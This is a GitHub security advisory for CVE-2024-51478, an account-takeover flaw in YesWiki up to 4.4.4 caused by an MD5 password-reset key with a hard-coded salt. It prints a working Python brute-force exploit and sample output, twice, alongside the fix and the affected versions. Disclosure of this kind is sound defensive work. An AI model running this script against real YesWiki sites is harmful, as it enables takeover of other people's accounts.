ghsa-4fvx-h823-38v3
Vulnerability from github
Published
2024-10-31 17:12
Modified
2024-10-31 19:36
Summary
YesWiki Uses a Broken or Risky Cryptographic Algorithm
Details

Summary

The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

Details

Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :

php private const PW_SALT = 'FBcA';

Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :

php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);

The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

Proof of Concept (PoC)

To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

```python

!/usr/bin/env python3

-- coding: utf-8 --

Author: Nishacid

YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, as_completed from argparse import ArgumentParser

Known data

salt = 'FBcA' # Hardcoded salt random_range = 10000 # Range for random_int() WORKERS = 20 # Number of workers

Arguments

def parseArgs(): parser = ArgumentParser() parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parse_args()

Reset password request and get timestamp

def reset_password(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[*] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit()

Generate and check keys

def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str): user_base64 = b64encode(username.encode()).decode() data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}" hash_candidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}" # print(f"[*] Checking {url}") response = get(url)

# Check if the link is valid, warning depending on the language
if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
    return (True, random_int_val, hash_candidate, url)
return (False, random_int_val, None, None)

def main(timestamp_req: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[*] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(max_workers=WORKERS) as executor: futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]

    for future in as_completed(futures):
        success, random_int_val, hash_candidate, url = future.result()
        if success:
            print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
            print(f"[+] URL: {url}")
            exit()
    else:
        print("[-] Key not found.")

if name == "main": args = parseArgs() timestamp_req = reset_password(args.email, args.domain) main(timestamp_req, args.domain, args.username, args.email) ```

Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.

bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [*] Starting brute-force, it can take few minutes... [+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K

Impact

Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

Recommendation

The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.

Show details on source website


{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-31T17:12:35Z",
    "nvd_published_at": "2024-10-31T17:15:13Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.\n\n### Details\nFirstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` :\n\n```php\nprivate const PW_SALT = \u0027FBcA\u0027;\n```\n\nNext, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` :\n\n```php\nprotected function generateUserLink($user)\n{\n    // Generate the password recovery key\n    $key = md5($user[\u0027name\u0027] . \u0027_\u0027 . $user[\u0027email\u0027] . random_int(0, 10000) . date(\u0027Y-m-d H:i:s\u0027) . self::PW_SALT);\n```\n\nThe key is generated from the **user\u0027s name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.\nIf we know the user\u0027s name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.\n\n### Proof of Concept (PoC)\nTo demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author: Nishacid\n# YesWiki \u003c= 4.4.4 Account Takeover via Weak Password Reset Crypto\n\nfrom hashlib import md5\nfrom requests import post, get\nfrom base64 import b64encode\nfrom sys import exit\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom argparse import ArgumentParser\n\n# Known data\nsalt = \u0027FBcA\u0027 # Hardcoded salt \nrandom_range = 10000  # Range for random_int()\nWORKERS = 20 # Number of workers\n\n# Arguments\ndef parseArgs():\n    parser = ArgumentParser()\n    parser.add_argument(\"-u\", \"--username\", dest=\"username\", default=None, help=\"Username of the account\", required=True)\n    parser.add_argument(\"-e\", \"--email\", dest=\"email\", default=None, help=\"Email of the account\", required=True)\n    parser.add_argument(\"-d\", \"--domain\", dest=\"domain\", default=None, help=\"Domain of the target\", required=True)\n    return parser.parse_args()\n\n# Reset password request and get timestamp  \ndef reset_password(email: str, domain: str):\n    response = post(\n        f\u0027{domain}?MotDePassePerdu\u0027,\n        data={\n            \u0027email\u0027: email, \n            \u0027subStep\u0027: \u00271\u0027\n        },\n        headers={\n            \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027\n        }\n    )\n    if response.ok:\n        timestamp = datetime.now() # obtain the timestamp\n        timestamp = timestamp.strftime(\u0027%Y-%m-%d %H:%M:%S\u0027)\n        print(f\"[*] Requesting link for {email} at {timestamp}\")\n        return timestamp\n    else:\n        print(\"[-] Error while resetting password.\")\n        exit()\n\n# Generate and check keys\ndef check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):\n    user_base64 = b64encode(username.encode()).decode()\n    data = f\"{username}_{email}{random_int_val}{timestamp_req}{salt}\"\n    hash_candidate = md5(data.encode()).hexdigest()\n    url = f\"{domain}?MotDePassePerdu\u0026a=recover\u0026email={hash_candidate}\u0026u={user_base64}\"\n    # print(f\"[*] Checking {url}\")\n    response = get(url)\n    \n    # Check if the link is valid, warning depending on the language\n    if \u0027\u003cstrong\u003eBienvenu.e\u0027 in response.text or \u0027\u003cstrong\u003eWelcome\u0027 in response.text:\n        return (True, random_int_val, hash_candidate, url)\n    return (False, random_int_val, None, None)\n\ndef main(timestamp_req: str, domain: str, username: str, email: str):\n    # Launch the brute-force\n    print(f\"[*] Starting brute-force, it can take few minutes...\")\n    with ThreadPoolExecutor(max_workers=WORKERS) as executor:\n        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]\n        \n        for future in as_completed(futures):\n            success, random_int_val, hash_candidate, url = future.result()\n            if success:\n                print(f\"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}\")\n                print(f\"[+] URL: {url}\")\n                exit()\n        else:\n            print(\"[-] Key not found.\")\n\nif __name__ == \"__main__\":\n    args = parseArgs()\n    timestamp_req = reset_password(args.email, args.domain)\n    main(timestamp_req, args.domain, args.username, args.email)\n```\n\nSimply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.\n\n```bash\n\u00bb python3 expoit.py --username \u0027admin\u0027 --email \u0027admin@nishacid.local\u0027 --domain \u0027http://localhost/\u0027 \n[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48\n[*] Starting brute-force, it can take few minutes...\n[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9\n[+] URL: http://localhost/?MotDePassePerdu\u0026a=recover\u0026email=22a2751f50ba74b259818394d34020c9\u0026u=YWRtaW4K\n```\n\n### Impact\nMany impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.\n\n### Recommendation \nThe safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.\nFor example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.",
  "id": "GHSA-4fvx-h823-38v3",
  "modified": "2024-10-31T19:36:27Z",
  "published": "2024-10-31T17:12:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-4fvx-h823-38v3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/e1285709f6f6a2277bd0075acf369f33cefd78f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "YesWiki Uses a Broken or Risky Cryptographic Algorithm"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...
  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.